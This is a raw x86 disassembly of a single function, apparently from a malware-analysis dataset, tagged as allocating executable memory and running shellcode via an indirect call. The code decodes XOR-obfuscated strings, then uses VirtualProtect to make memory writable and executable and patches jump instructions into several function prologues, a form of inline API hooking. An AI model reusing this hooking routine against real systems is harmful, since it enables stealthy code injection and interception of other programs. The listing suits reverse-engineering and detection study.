Function at 0x1001adf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001db6d
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x100250c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x6a
xor edx, edx
mov al, byte [edx + 0x10021b28]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x78], al
and ecx, 0x800000ff
jns 0x1001ae3e
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xe
jl 0x1001ae21
mov byte [ebp - 0x6a], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x78]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x18], 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001ae94
call esi
push 0xc
lea ecx, [ebp - 0x20]
mov dword [0x1003df9c], 0x11dd29fc
push ecx
push dword [ebp - 0x14]
push eax
mov eax, 0x11dd29fc
call eax
mov dword [ebp - 4], 0xffffffff
xorps xmm0, xmm0
mov eax, dword [ebp - 0x20]
mov dword [0x1003e6b4], eax
mov eax, dword [ebp - 0x1c]
push 0x10020394
mov dword [0x1003e610], eax
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x18], 0
call edi
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001aee5
call esi
push 0xc
lea ecx, [ebp - 0x20]
mov dword [0x1003df9c], 0x11dd29fc
push ecx
push dword [ebp - 0x14]
push eax
mov eax, 0x11dd29fc
call eax
mov eax, dword [ebp - 0x20]
xorps xmm0, xmm0
mov dword [0x1003e2b8], eax
mov eax, dword [ebp - 0x1c]
push 0x10021b38
mov dword [0x11dd2a38], eax
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x18], 0
call edi
mov edi, eax
test edi, edi
je 0x1001af2c
call esi
push 0xc
lea ecx, [ebp - 0x20]
mov dword [0x1003df9c], 0x11dd29fc
push ecx
push edi
push eax
mov eax, 0x11dd29fc
call eax
mov edi, dword [0x1003e2b8]
mov esi, edi
mov ecx, dword [0x11dd2a38]
mov dword [ebp - 0x14], ecx
lea eax, [edi + ecx]
cmp edi, eax
jae 0x1001af7c
mov edx, edi
sub edx, esi
push 0x1002038c
add edx, ecx
mov ecx, esi
push 0x10020390
call fcn.10002100
add esp, 8
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
test eax, eax
je 0x1001af7c
test esi, esi
je 0x1001af7c
mov ecx, dword [ebp - 0x14]
add esi, 2
lea eax, [edi + ecx]
cmp esi, eax
jb 0x1001af44
cmp dword [0x1003e3d0], 0
jne 0x1001afc7
mov ecx, 0xf8
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x10021b40]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x58], al
and ecx, 0x800000ff
jns 0x1001afad
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x32
jl 0x1001af90
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x26], 0
call fcn.10002c50
mov eax, dword [eax + 7]
mov dword [0x1003e3d0], eax
cmp dword [0x1003e5e0], 0
jne 0x1001b013
mov ecx, 0x1e
xor edx, edx
mov al, byte [edx + 0x10020490]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x68], al
and ecx, 0x800000ff
jns 0x1001aff4
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x44
jl 0x1001afd7
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x24], 0
call fcn.10002c50
mov ecx, dword [eax + 0x30]
add eax, 0x34
add eax, ecx
mov dword [0x1003e5e0], eax
cmp dword [0x1003e1c4], 0
jne 0x1001b05f
mov ecx, 0x1e
xor edx, edx
mov al, byte [edx + 0x10020490]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x68], al
and ecx, 0x800000ff
jns 0x1001b040
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x44
jl 0x1001b023
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x24], 0
call fcn.10002c50
mov ecx, dword [eax + 0x42]
add eax, 0x46
add eax, ecx
mov dword [0x1003e1c4], eax
cmp dword [0x1003e5c4], 0
jne 0x1001b0a7
mov ecx, 0x1e
xor edx, edx
nop
mov al, byte [edx + 0x10020490]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x68], al
and ecx, 0x800000ff
jns 0x1001b08d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x44
jl 0x1001b070
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x24], 0
call fcn.10002c50
mov eax, dword [eax + 0x25]
mov dword [0x1003e5c4], eax
cmp dword [0x1003e210], 0
jne 0x1001b0ee
mov ecx, 0x1e
xor edx, edx
mov al, byte [edx + 0x10020490]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x68], al
and ecx, 0x800000ff
jns 0x1001b0d4
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x44
jl 0x1001b0b7
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x24], 0
call fcn.10002c50
mov eax, dword [eax + 0x2b]
mov dword [0x1003e210], eax
cmp dword [0x1003e63c], 0
jne 0x1001b169
mov ecx, 0xf1
xor edx, edx
nop
mov al, byte [edx + 0x10020ec0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x68], al
and ecx, 0x800000ff
jns 0x1001b11d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x44
jl 0x1001b100
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x24], 0
call fcn.10002c50
mov esi, eax
test esi, esi
je 0x1001b15e
mov edx, dword [0x1003e610]
xor ecx, ecx
test edx, edx
je 0x1001b154
mov edi, dword [0x1003e6b4]
cmp dword [ecx + edi], esi
lea eax, [ecx + edi]
je 0x1001b159
inc ecx
cmp ecx, edx
jb 0x1001b147
or eax, 0xffffffff
jmp 0x1001b161
add eax, 0xffffffff
jne 0x1001b161
mov eax, dword [ebp - 0x14]
mov eax, dword [eax - 0x30]
mov dword [0x1003e63c], eax
cmp dword [0x1003df94], 0
jne 0x1001b1b7
mov ecx, 0xfa
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x10020f08]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x64], al
and ecx, 0x800000ff
jns 0x1001b19d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x3e
jl 0x1001b180
lea ecx, [ebp - 0x64]
mov byte [ebp - 0x26], 0
call fcn.10002c50
sub eax, 0x3e
mov dword [0x1003df94], eax
call fcn.10004290
call fcn.10004680
call fcn.100055b0
mov esi, dword [0x1003e1c4]
mov al, byte [esi]
cmp al, 0x6a
je 0x1001b20f
cmp al, 0x55
je 0x1001b20f
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xa
push 0x1003e4b4
call edi
mov eax, dword [esi]
mov dword [0x1003e4b4], eax
mov al, byte [esi + 4]
sub esi, 0x1003e4b9
mov byte [0x1003e4b8], al
mov byte [0x1003e4b9], 0xe9
mov dword [0x1003e4ba], esi
jmp 0x1001b253
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xc
push 0x1003e4b4
call edi
mov eax, dword [esi]
mov dword [0x1003e4b4], eax
mov ax, word [esi + 4]
mov word [0x1003e4b8], ax
mov al, byte [esi + 6]
sub esi, 0x1003e4bb
add esi, 2
mov byte [0x1003e4ba], al
mov byte [0x1003e4bb], 0xe9
mov dword [0x1003e4bc], esi
mov esi, dword [0x1003e5e0]
mov al, byte [esi]
cmp al, 0x6a
je 0x1001b296
cmp al, 0x55
je 0x1001b296
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xa
push 0x1003e574
call edi
mov eax, dword [esi]
mov dword [0x1003e574], eax
mov al, byte [esi + 4]
sub esi, 0x1003e579
mov byte [0x1003e578], al
mov byte [0x1003e579], 0xe9
mov dword [0x1003e57a], esi
jmp 0x1001b2d4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xc
push 0x1003e574
call edi
mov eax, dword [esi]
mov dword [0x1003e574], eax
mov ax, word [esi + 4]
mov word [0x1003e578], ax
mov al, byte [esi + 6]
sub esi, 0x1003e57b
add esi, 2
mov byte [0x1003e57a], al
mov byte [0x1003e57b], 0xe9
mov dword [0x1003e57c], esi
mov esi, dword [0x1003e150]
mov al, byte [esi]
cmp al, 0x6a
je 0x1001b317
cmp al, 0x55
je 0x1001b317
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xa
push 0x1003e474
call edi
mov eax, dword [esi]
mov dword [0x1003e474], eax
mov al, byte [esi + 4]
sub esi, 0x1003e479
mov byte [0x1003e478], al
mov byte [0x1003e479], 0xe9
mov dword [0x1003e47a], esi
jmp 0x1001b355
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xc
push 0x1003e474
call edi
mov eax, dword [esi]
mov dword [0x1003e474], eax
mov ax, word [esi + 4]
mov word [0x1003e478], ax
mov al, byte [esi + 6]
sub esi, 0x1003e47b
add esi, 2
mov byte [0x1003e47a], al
mov byte [0x1003e47b], 0xe9
mov dword [0x1003e47c], esi
mov esi, dword [0x1003e144]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xb
push 0x1003e434
call edi
mov eax, dword [esi]
mov dword [0x1003e434], eax
movzx eax, word [esi + 4]
sub esi, 0x1003e43a
mov word [0x1003e438], ax
inc esi
lea eax, [ebp - 0x14]
mov dword [0x1003e43b], esi
mov esi, dword [0x1003e114]
push eax
push 0x40
push 0xb
push 0x1003e3f4
mov byte [0x1003e43a], 0xe9
call edi
mov eax, dword [esi]
mov dword [0x1003e3f4], eax
movzx eax, word [esi + 4]
sub esi, 0x1003e3fa
mov word [0x1003e3f8], ax
inc esi
lea eax, [ebp - 0x14]
mov dword [0x1003e3fb], esi
mov esi, dword [0x11dd2728]
push eax
push 0x40
push 0x23
push 0x1003e514
mov byte [0x1003e3fa], 0xe9
add esi, 6
call edi
movups xmm0, xmmword [esi]
movups xmmword [0x1003e514], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x1003e524], xmm0
mov eax, dword [esi + 0x18]
mov dword [0x1003e52c], eax
movzx eax, word [esi + 0x1c]
sub esi, 0x1003e532
mov word [0x1003e530], ax
add esi, 0x19
lea eax, [ebp - 0x14]
mov dword [0x1003e533], esi
mov esi, dword [0x1003e120]
push eax
push 0x40
push 0xd
push 0x1003e414
mov byte [0x1003e532], 0xe9
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 4]
sub esi, 0x1003e41c
mov dword [0x1003e414], eax
add esi, 3
lea eax, [ebp - 0x14]
mov dword [0x1003e41d], esi
mov esi, dword [0x1003e114]
push eax
push 0x40
push 0xb
push 0x1003e454
mov dword [0x1003e418], ecx
mov byte [0x1003e41c], 0xe9
call edi
mov eax, dword [esi]
mov dword [0x1003e454], eax
movzx eax, word [esi + 4]
mov esi, dword [0x1003e6c0]
mov word [0x1003e458], ax
mov byte [0x1003e45a], 0xc3
mov al, byte [esi]
cmp al, 0x6a
je 0x1001b4cb
cmp al, 0x55
je 0x1001b4cb
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xa
push 0x1003e4f4
call edi
mov eax, dword [esi]
mov dword [0x1003e4f4], eax
mov al, byte [esi + 4]
sub esi, 0x1003e4f9
mov byte [0x1003e4f8], al
mov byte [0x1003e4f9], 0xe9
mov dword [0x1003e4fa], esi
jmp 0x1001b509
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xc
push 0x1003e4f4
call edi
mov eax, dword [esi]
mov dword [0x1003e4f4], eax
mov ax, word [esi + 4]
mov word [0x1003e4f8], ax
mov al, byte [esi + 6]
sub esi, 0x1003e4fb
add esi, 2
mov byte [0x1003e4fa], al
mov byte [0x1003e4fb], 0xe9
mov dword [0x1003e4fc], esi
mov esi, dword [0x1003e24c]
mov al, byte [esi]
cmp al, 0x6a
je 0x1001b54c
cmp al, 0x55
je 0x1001b54c
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xa
push 0x1003e4d4
call edi
mov eax, dword [esi]
mov dword [0x1003e4d4], eax
mov al, byte [esi + 4]
sub esi, 0x1003e4d9
mov byte [0x1003e4d8], al
mov byte [0x1003e4d9], 0xe9
mov dword [0x1003e4da], esi
jmp 0x1001b58a
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xc
push 0x1003e4d4
call edi
mov eax, dword [esi]
mov dword [0x1003e4d4], eax
mov ax, word [esi + 4]
mov word [0x1003e4d8], ax
mov al, byte [esi + 6]
sub esi, 0x1003e4db
add esi, 2
mov byte [0x1003e4da], al
mov byte [0x1003e4db], 0xe9
mov dword [0x1003e4dc], esi
mov esi, dword [0x1003df94]
mov al, byte [esi]
cmp al, 0x6a
je 0x1001b5cd
cmp al, 0x55
je 0x1001b5cd
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xa
push 0x1003e3d4
call edi
mov eax, dword [esi]
mov dword [0x1003e3d4], eax
mov al, byte [esi + 4]
sub esi, 0x1003e3d9
mov byte [0x1003e3d8], al
mov byte [0x1003e3d9], 0xe9
mov dword [0x1003e3da], esi
jmp 0x1001b60b
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xc
push 0x1003e3d4
call edi
mov eax, dword [esi]
mov dword [0x1003e3d4], eax
mov ax, word [esi + 4]
mov word [0x1003e3d8], ax
mov al, byte [esi + 6]
sub esi, 0x1003e3db
add esi, 2
mov byte [0x1003e3da], al
mov byte [0x1003e3db], 0xe9
mov dword [0x1003e3dc], esi
mov esi, dword [0x1003e10c]
mov al, byte [esi]
cmp al, 0x6a
je 0x1001b64e
cmp al, 0x55
je 0x1001b64e
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xa
push 0x1003e494
call edi
mov eax, dword [esi]
mov dword [0x1003e494], eax
mov al, byte [esi + 4]
sub esi, 0x1003e499
mov byte [0x1003e498], al
mov byte [0x1003e499], 0xe9
mov dword [0x1003e49a], esi
jmp 0x1001b68c
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xc
push 0x1003e494
call edi
mov eax, dword [esi]
mov dword [0x1003e494], eax
mov ax, word [esi + 4]
mov word [0x1003e498], ax
mov al, byte [esi + 6]
sub esi, 0x1003e49b
add esi, 2
mov byte [0x1003e49a], al
mov byte [0x1003e49b], 0xe9
mov dword [0x1003e49c], esi
mov esi, dword [0x1003df90]
mov al, byte [esi]
cmp al, 0x6a
je 0x1001b6cf
cmp al, 0x55
je 0x1001b6cf
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xa
push 0x1003e534
call edi
mov eax, dword [esi]
mov dword [0x1003e534], eax
mov al, byte [esi + 4]
sub esi, 0x1003e539
mov byte [0x1003e538], al
mov byte [0x1003e539], 0xe9
mov dword [0x1003e53a], esi
jmp 0x1001b70d
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0xc
push 0x1003e534
call edi
mov eax, dword [esi]
mov dword [0x1003e534], eax
mov ax, word [esi + 4]
mov word [0x1003e538], ax
mov al, byte [esi + 6]
sub esi, 0x1003e53b
add esi, 2
mov byte [0x1003e53a], al
mov byte [0x1003e53b], 0xe9
mov dword [0x1003e53c], esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001c7f5
mov esp, ebp
pop ebp
ret